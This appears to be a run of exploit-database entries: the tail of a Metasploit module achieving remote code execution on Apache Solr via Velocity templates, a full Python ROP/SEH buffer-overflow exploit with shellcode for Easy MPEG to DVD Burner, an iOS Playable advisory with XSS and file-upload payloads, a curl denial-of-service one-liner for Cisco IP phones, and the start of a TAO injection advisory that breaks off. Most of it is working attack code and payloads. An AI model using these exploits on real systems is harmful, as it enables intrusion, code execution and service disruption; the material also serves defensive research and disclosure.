        fail_with Failure::NoTarget, "Target is found to be Windows, please select the proper target!"
      end

      case target['Type']
      # PowerShell...
      when :windows_psh
        # need PowerShell for this
        winenv_path = execute_command("C:\\Windows\\System32\\cmd.exe /c PATH", 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)
        unless winenv_path
          fail_with Failure::Unreachable, "Connection failed!"
        end

        # did the command to check for PATH execute?
        unless winenv_path.code == 200
          fail_with Failure::UnexpectedReply, "Unexpected reply from target, aborting!"
        end

        # is PowerShell in PATH?
        if /powershell/i =~ winenv_path.body.to_s
          # only interested in the contents of PATH. Everything before it is irrelevant
          paths = winenv_path.body.split('=')[1]
          # confirm that PowerShell exists in the PATH by checking each one
          paths.split(';').each do |path_val|
            # if PowerShell exists in PATH, then we are good to go
            unless /powershell/i =~ path_val
              next
            end

            print_good("Found Powershell at #{path_val}")
            # generate PowerShell command, encode with base64, and remove comspec
            psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
            # specify full path to PowerShell
            psh_cmd.insert(0, path_val)
            # exploit the thing
            execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
            break
          end
        else
          fail_with Failure::BadConfig, "PowerShell not found!"
        end
      # ... CmdStager ...
      when :windows_cmdstager
        print_status("Sending CmdStager payload...")
        execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
      # ... or plain old exec?
      when :windows_exec
        cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}"
        execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
      end
    end

    # ... or nix-based?
    if @target_platform.include? "Linux"
      # if target is wrong, warn and exit before doing anything
      if target.name.include? "Windows"
        fail_with Failure::NoTarget, "Target is found to be nix-based, please select the proper target!"
      end

      case target['Type']
      when :linux_dropper
        execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])
      when :unix_memory
        cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}"
        execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
      end
    end
  end

  # some prep work has to be done to work around the limitations of Java's Runtime.exec()
  def execute_cmdstager_begin(_opts)
    if @target_platform.include? "Windows"
      @cmd_list.each do |command|
        command.insert(0, "C:\\Windows\\System32\\cmd.exe /c ")
      end
    else
      @cmd_list.each do |command|
        command.insert(0, "/bin/bash -c $@|/bin/bash . echo ")
      end
    end
  end

  # sic 'em, bois!
  def execute_command(cmd, opts = {})
    # custom template which enables command execution
    template = <<~VELOCITY
      #set($x="")
      #set($rt=$x.class.forName("java.lang.Runtime"))
      #set($chr=$x.class.forName("java.lang.Character"))
      #set($str=$x.class.forName("java.lang.String"))
    VELOCITY

    # attempts to solve the quoting problem, partially successful
    if target.name.include?("Unix")
      template += <<~VELOCITY
        #set($ex=$rt.getRuntime().exec("#{cmd}"))
      VELOCITY
    else
      template += <<~VELOCITY
        #set($ex=$rt.getRuntime().exec('#{cmd}'))
      VELOCITY
    end

    template += <<~VELOCITY
      $ex.waitFor()
    VELOCITY

    # the next 2 lines cause problems with CmdStager, so it's only used when needed
    # during the check for PowerShell existence, or by specific payloads
    if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory
      template += <<~VELOCITY
        #set($out=$ex.getInputStream())
        #if($out.available())
        #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
        #else
        #end
      VELOCITY
    end

    # execute the exploit...
    raw_result = solr_get(
      'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),
      'auth' => opts['auth_string'],
      'vars_get' =>  {
        'q'                 => '1',
        'wt'                => 'velocity',
        'v.template'        => 'custom',
        'v.template.custom' => template
      }
    )

    # Executing PATH always gives a result, so it can return safely
    if opts['winenv_check']
      return raw_result
    end

    # for printing command output
    unless raw_result.nil?
      unless raw_result.code == 200
        fail_with Failure::PayloadFailed, "Payload failed to execute!"
      end

      # to get pretty output
      result_inter = raw_result.body.to_s.sub("0\n", ":::").split(":::").last
      unless result_inter.nil?
        final_result = result_inter.split("\n").first.strip
        print_good(final_result)
      end
    end
  end

  # make sending requests easier
  def solr_get(opts = {})
    send_request_cgi_opts = {
      'method'        => 'GET',
      'connection'    => 'Keep-Alive',
      'uri'           => opts['uri']
    }

    # @auth_string defaults to "" if no authentication is necessary
    # otherwise, authentication is required
    if opts['auth'] != ""
      send_request_cgi_opts.store('authorization', opts['auth'])
    end

    # a bit unrefined, but should suffice in this case
    if opts['vars_get']
      send_request_cgi_opts.store('vars_get', opts['vars_get'])
    end

    send_request_cgi(send_request_cgi_opts)
  end
end
            
# Exploit Title: Easy MPEG to DVD Burner 1.7.11 - Buffer Overflow (SEH + DEP)
# Date: 2020-04-15
# Exploit Author: Bailey Belisario
# Tested On: Windows 7 Ultimate x64
# Software Link: https://www.exploit-db.com/apps/32dc10d6e60ceb4d6e57052b6de3a0ba-easy_mpeg_to_dvd.exe
# Version: 1.7.11
# Exploit Length: 1015 Bytes
# Steps : Open application > Register > In Username field paste content of pwn.txt file (Note open this in sublime or vscode)

# Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass using VirtualProtect() on Local Buffer Overflow 
# Exploit used with Python2.7
#------------------------------------------------------------------------------------------------------------------------------------#
# Bad Characters: \x00\x0a\x0d                                                                                                        #
# SEH Offset: 1012                                                                                                                   #
# Modules Used: SkinMagic.dll & Easy MPEG to DVD Burner.exe                                                             #
#------------------------------------------------------------------------------------------------------------------------------------#

# Register setup for VirtualProtect() (Bypass DEP) :
#---------------------------------------------------
# EAX = Points to PUSHAD at time VirtualProtect() is called
# ECX = lpflOldProtect (0x10047d30 as writable location)
# EDX = flNewProtect(0x40)
# EBX = dwSize (0x92)
# ESP = lpAddress (automatic)
# EBP = ReturnTo (ptr to jmp esp)
# ESI = ptr to VirtualProtect()
# EDI = ROP NOP (RETN)

import struct

def create_rop_chain():

    rop_gadgets = [
      
      # Put 1 in EDX and decrement to 0
      0x10031752,  # XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN
      0x1003629a,  # ADD EAX,4 # DEC EDX # JNE SKINMAGIC!SETSKINMENU+0X2F505 (10036295) # POP ESI # RETN
      0x11111111,  # Filler

      # Pop the pointer of VirtualProtect into EAX 
      0x10037b12,  # POP EAX # RETN
      0x1003b268,  # ptr to &VirtualProtect() [IAT SkinMagic.dll]

      # Dereference Pointer into EDX then move back to EAX
      0x1001c011,  # ADD EDX,DWORD PTR [EAX] # RETN 0x0C
      0x10031772,  # MOV EAX,EDX # RETN
      0x11111111,  # Filler
      0x11111111,  # Filler
      0x11111111,  # Filler

      # Push VP and pop into EBP
      0x1002e17b,  # PUSH EAX # PUSH ESP # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x0C
      0x10037b12,  # POP EAX # RETN
      0x11111111,  # Filler
      0x11111111,  # Filler
      0x11111111,  # Filler

      # Use this to get to address needed to Pop VP into ESI
	    0x1003619e,  # POP EAX # POP ESI # RETN

	    # Move VP to +12 on stack then push the POP POP RETN
      0x10032485,  # MOV DWORD PTR [ESP+0CH],EBP # LEA EBP,DWORD PTR DS:[ESP+0CH] # PUSH EAX # RETN
      0x11111111,  # Filler popped
      0x11111111,  # Filler popped

      # Set ESI to VP
      0x1002e1ce,  # POP ESI # RETN [SkinMagic.dll] 
      0x11111111,  # Where VP is MOV into 

	    # Set EBP with POP EBP RETN
      0x1002894f,  # POP EBP # RETN [SkinMagic.dll] 
      0x1002894f,  # skip 4 bytes [SkinMagic.dll]

      # Set EDX (# s -d 0x10000000 L?0x10050000 0000003f <- used to find 3F)
      # Clear out EDX, set it to 0x01, find address where DWORD of EAX will be 0x3F, then add to EDX to be 0x40
      0x10031752,  # XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN
 	    0x10037b12,  # POP EAX # RETN
 	    0x1005a0a0,  # Address of 3F
 	    0x10026173,  # ADD EDX,DWORD PTR [EAX] # RETN

 	    # Set EBX to 0x92 assuming EBX is 0, but could work with a decent range of numbers
 	    # Note: This should be at least length of shellcode
 	    0x100362c6,  # XOR EAX,EAX # RETN
	    0x10033fb2,  # ADD AL,0C9 # RETN
	    0x10033fb2,  # ADD AL,0C9 # RETN
	    0x10035c12,  # ADC BL,AL # OR CL,CL # JNE SKINMAGIC!SETSKINMENU+0X2EEDB (10035C6B) # RETN
     
      # Set ECX to writable location
      0x1003603f,  # POP ECX # RETN [SkinMagic.dll] 
      0x10047d30,  # &Writable location [SkinMagic.dll]
      
      # Set EDI to ROP NOP
      0x100395c2,  # POP EDI # RETN [SkinMagic.dll] 
      0x10032982,  # RETN (ROP NOP) [SkinMagic.dll]
      
      # Do PUSHAD and be 1337
      0x10037654,  # POP EAX # RETN 
      0xa140acd2,  # CONSTANT
      0x100317c8,  # ADD EAX,5EFFC883 # RETN 
      0x1003248d,  # PUSH EAX # RETN

      # Used to jump to ESP
      0x1001cc57,  # ptr to 'push esp # ret ' [SkinMagic.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

ropChain = create_rop_chain()

# CALC.EXE for POC
shell = ("\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72"
         "\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F"
         "\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24"
         "\x01\xF9\x0F\xB7\x2C\x51\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45"
         "\x75\xF1\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7")

# 148 Bytes needed to return to ROP CHAIN
paddingBeginning = "B"*148

# NOP Sled needs to be sufficient length, from some math, I came out with a buffer of 444 - len(ROP CHAIN)  
nopLen = 444 - len(ropChain)
nopSled = '\x90'*nopLen

# Padding to SEH needs to consider the 420 bytes remaining - shellcode
paddingMiddleLen = 420 - len(shell)
paddingMiddle = 'B'*paddingMiddleLen

# 0x004043ee (add esp, 7D4) Stack Pivot 2004 bytes
# This brings total bytes to SEH Offset (1012) + 3 for a total of 1015 bytes
seh = "\xee\x43\x40"

# Exploit Visualization  #
#------------------------#
#  BBBBBBBBBBBBBBBBBBBB  #
#------------------------#
#       ROP CHAIN        #
#------------------------#
#          NOPS          #
#------------------------#
#       SHELL CODE       #
#------------------------#
#  BBBBBBBBBBBBBBBBBBBB  #
#------------------------#
#          SEH           #
#------------------------#

exploit = paddingBeginning + ropChain + nopSled + shell + paddingMiddle + seh

file = open("pwn.txt", 'w')
file.write(exploit)
file.close()
            
# Title: Playable 9.18 iOS - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Software Link: https://apps.apple.com/de/app/playable-the-full-hd-media-player/id502405034
# CVE: N/A

Document Title:
===============
Playable v9.18 iOS - Multiple Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2198


Release Date:
=============
2020-04-16


Vulnerability Laboratory ID (VL-ID):
====================================
2198


Common Vulnerability Scoring System:
====================================
7.3


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Watch your MKV, MP4 and MOV movie files on your iPad, iPhone or iPod
Touch without conversion -
just copy files to your device through iTunes or over Wifi!  To search
for closed captions /
subtitles select a video then press the magnifying glass icon to the top
right of the video.

(Copy of the Homepage:
https://apps.apple.com/de/app/playable-the-full-hd-media-player/id502405034
)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
vulnerabilities in the official Playable v9.18 apple ios mobile application.


Affected Product(s):
====================
Portable Ltd
Product: Playable v9.18 - iOS Mobile Web Application


Vulnerability Disclosure Timeline:
==================================
2020-04-16: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Pre auth - no privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
1.1
A persistent script code injection web vulnerability has been discovered
in the official Playable v9.18 apple ios mobile application.
The vulnerability allows remote attackers to inject own malicious
persistent script codes to the application-side for manipulation.

The vulnerability is located in the filename parameter of the upload
module. Attackers with wifi access are able to perform uploads
with malicious script code to manipulation the mobile application ui.
The request method to inject is POST and the attack vector of
the vulnerability is persistent. Attackers are able to inject html and
javascript codes to comrpomise the mobile wifi web-application.
The injection point is the upload form on localhost:8881 and the
execution occurs on localhost:80 with the visible ui listing.

Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent external redirects
to malicious source and persistent manipulation of affected mobile
application modules.

Request Method(s):
[+] POST

Vulnerable Function(s):
[+] upload

Vulnerable Parameter(s):
[+] filename


1.2
An arbitrary file upload web vulnerability has been discovered in the
official Playable v9.18 apple ios mobile application.
The arbitary file upload vulnerability allows remote attackers to upload
malicious files to compromise the mobile application.

The vulnerability is located in the filename parameter of the upload
module. Attackers with wifi access are able to perform
uploads with malicious file extions to bypass the parse function. In a
second step the attacker requests the local file to
execute the malicious content on the local web-server. The request
method to inject is POST and the attack vector of the
vulnerability is located on the application-side. The injection point is
the upload form on localhost:8881. The execution
point becomes visible by a request the localhost:80/vid/[filename] path
with the uploaded file content. The is present
because of a missing file parse and insecure upload handling on file
extensions. As well the local web-server can be
reconfigured to provide more security on user interactions.

Successful exploitation of the arbitrary file upload vulnerability
results in a compromise of the local ios mobile application.

Request Method(s):
[+] POST

Vulnerable Function(s):
[+] upload

Vulnerable Parameter(s):
[+] filename

Affected Module(s):
[+] /vid/


Proof of Concept (PoC):
=======================
1.1
The persistent script code injection vulnerability can be exploited by
remote attackers with wifi network access without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Install the ios application
(https://apps.apple.com/us/app/playable-the-full-hd-media-player/id502405034)
2. Start the ios application on your local ios device
3. Start the wifi share service in the application ui
4. Open the web-browser
5. Tamper the http requests
6. Prepare to upload any file and press the upload button
7. Inject as filename any html/js script code payload
8. Continue to transmit the POST method request
9. The file executes on the index listing on port 8881
(http://localhost:8881/index.html)
10. Successful reproduce of the persistent script code injection web
vulnerability!


PoC: Exploitation
>"<iframe src=evil.source onload=alert(document.domain)>.jpg


--- PoC Session logs [POST] ---
Status: 200[OK]
POST http://localhost:8881/upload
Mime Type[text/html]
   Request Header:
      Host[localhost:8881]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8881/index.html]
      Content-Length[8559]
      Content-Type[multipart/form-data;
boundary=---------------------------3823323145734]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------3823323145734
Content-Disposition: form-data; name="file"; filename=">"<iframe
src=evil.source onload=alert(document.domain)>.jpg"
-
Status: 200[OK]
GET http://localhost/evil.source
Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost/evil.source]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
      Cache-Control[max-age=0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[8559]



1.2
the arbitrary file upload vulnerability can be exploited by local
attackers with wifi network access without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Install the ios application
(https://apps.apple.com/us/app/playable-the-full-hd-media-player/id502405034)
2. Start the ios application on your local ios device
3. Start the wifi share service in the application ui
4. Open the web-browser
5. Tamper the http requests
6. Prepare a js file with malicious test content
7. Extend the file name with .jpg
Note: The upload mechanism does not parse or checks for multiple
extensions on file uploads
8. Upload the file by pushing the Upload File button
9. Open the url in the default /vid/ folder and remove the .jpg extension
10. The simple js executes in the scripting engine when opening
11. Successful reproduce of the arbitrary file upload vulnerability!
Note: Using the ftp you can perform to create the file via console
ftp://localhost (read/write permissions)


PoC: Exploitation
http://localhost/vid/clay.js.jpg


--- PoC Session logs [POST] ---
Status: 200[OK]
POST http://localhost:8881/upload
Mime Type[text/html]
   Request Header:
      Host[localhost:8881]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8881/index.html]
      Content-Length[86856]
      Content-Type[multipart/form-data;
boundary=---------------------------3823323145733]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------3823323145733
Content-Disposition: form-data; name="file"; filename="clay.js.jpg"
-
Status: 200[OK]
GET http://localhost/listVideosJson
Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
      Accept[application/json, text/javascript, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[87]
-
Status: 200[OK]
GET http://localhost/vid/clay.js.jpg
Mime Type[application/iosjpg]
   Request Header:
      Host[localhost]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost/]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[86670]
      Content-Type[application/iosjpg;]
-
Status: 200[OK]
GET http://localhost/vid/clay.js
Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[0]


Solution - Fix & Patch:
=======================
1.1
The vulnerability can be resolved by a restriction and parse of the
filename parameter. Disallow special chars and restrict inputs.
Encode also the output locations to ensure nobody is able to execute
script code in the main file listing.

1.2
Parse the filename for multiple extensions and prevent that attackers
open specific dangerous file extensions that could
compromise the local application path.


Security Risk:
==============
1.1
The security risk of the script code injection web vulnerability in the
mobile ios application is estimated as high.

1.2
The security risk of the arbitrary file upload vulnerability in the
mobile ios application is estimated as high.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com			
www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com
paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 		
youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
            
# Exploit Title: Cisco IP Phone 11.7 - Denial of Service (PoC)
# Date: 2020-04-15
# Exploit Author: Jacob Baines
# Vendor Homepage: https://www.cisco.com
# Software Link: https://www.cisco.com/c/en/us/products/collaboration-endpoints/ip-phones/index.html
# Version: Before 11.7(1)
# Tested on: Cisco Wireless IP Phone 8821
# CVE: CVE-2020-3161
# Cisco Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-voip-phones-rce-dos-rB6EeRXs
# Researcher Advisory: https://www.tenable.com/security/research/tra-2020-24

curl -v --path-as-is --insecure
https://phone_address/deviceconfig/setActivationCode?params=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            
# Title: TAO Open Source Assessment Platform 3.3.0 RC02 - HTML Injection
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Vendor: https://www.taotesting.com
# Software Link: https://www.taotesting.com/product/
# CVE: N/A

Document Title:
===============
TAO Open Source Assessment Platform v3.3.0 RC02 - Multiple Web
Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2215


Release Date:
=============
2020-04-16


Vulnerability Laboratory ID (VL-ID):
====================================
2215


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Accelerating innovation in digital assessment. The TAO assessment
platform gives you the freedom, control, and
support to evolve with today's learners. For organizations who want the
freedom to control their assessment
software – from authoring to delivery to reporting.

(Copy of the Homepage: https://www.taotesting.com/product/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
cross site vulnerabilities in the TAO Open Source Assessment Platform
v3.3.0 RC02.


Affected Product(s):
====================
Product: TAO Open Source Assessment Platform v3.3.0 RC02


Vulnerability Disclosure Timeline:
==================================
2020-04-16: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
1.1
A html injection web vulnerability has been discovered in the TAO Open
Source Assessment Platform v3.3.0 RC02 web-application.
The vulnerability allows remote attackers to inject own malicious html
codes with persistent attack vector to compromise browser
to web-application requests from the application-side.

The html inject web vulnerability is located in the `userFirstName`,
`userLastName`, `userMail`, `password2`, and `password3`
parameters of the user account input field. The request method to inject
is POST and the attack vector is application-side.
Remote attackers are able to inject html code for the user account
credentials to provoke an execution within the main manage
user listing.

Successful exploitation of the web vulnerability results in persistent
phishing attacks, persistent external redirects to malicious
source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Manage Users

Vulnerable Parameter(s):
[+] userFirstName
[+] userLastName
[+] userMail
[+] password2
[+] password3



1.2
Multiple persistent cross site web vulnerabilities has been discovered
in the TAO Open Source Assessment Platform v3.3.0 RC02.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application requests from the application-side.

The persistent vulnerability is located in the content parameter of the
Rubric Block (Add) module. Attackers are able to inject own malicious
script code inside of the rubric name value. The attached values will be
redisplayed in the frontend of tao. The request method to inject is
POST and the attack vector is located on the application-side. The
injection point is the Rubric Block (Add) module and the execution occurs
in the frontend panel when listing the item attribute.

Successful exploitation of the web vulnerability results in session
hijacking, persistent phishing attacks, persistent external redirects
to malicious source and persistent manipulation of affected or connected
application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Rubric Block (Add)

Vulnerable Parameter(s):
[+] content


Proof of Concept (PoC):
=======================
1.1
The persistent html injection web vulnerability can be exploited by
remote attackers with privileged user account and low user interaction.
For security demonstration or to reproduce the security web
